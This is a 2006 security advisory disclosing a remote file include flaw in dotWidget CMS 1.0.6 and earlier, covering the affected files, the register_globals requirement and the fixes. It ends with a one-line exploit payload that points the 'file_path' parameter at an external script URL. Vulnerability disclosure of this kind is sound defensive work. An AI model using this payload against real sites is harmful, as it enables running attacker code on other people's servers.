[MajorSecurity #7]dotWidget CMS <= 1.0.6 - Remote File Include Vulnerability

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Software: dotWidget CMS


Version: <=1.0.6


Type: Remote File Include Vulnerability


Date: June, 2nd 2006


Vendor: dotWidget  


Page: http://dotwigdet.com


Risc: High



Credits:

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Discovered by: David 'Aesthetico' Vieira-Kurz

http://www.majorsecurity.de


Original Advisory:

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http://www.majorsecurity.de/advisory/major_rls7.txt


Affected Products:

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dotWidget CMS 1.0.6 and prior


Description:

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dotWidget CMS is content management at its easiest. Update your site's content 
in real-time.

Features include a built-in WYSIWYG text editor, multiple users and access 
levels, 

customizable templates and more.


Requirements:

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register_globals = On



Vulnerability:

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Input passed to the "file_path" parameter in "index.php" "feedback.php" and 
"printfriendly.php" 

is not properly verified, before it is used to include files.

This can be exploited to execute arbitrary code by including files from 
external resources.


Solution:

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Edit the source code to ensure that input is properly sanitised.

Set "register_globals" to "Off".


Exploitation:

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Post data:


file_path=http://www.yourspace.com/yourscript.php?

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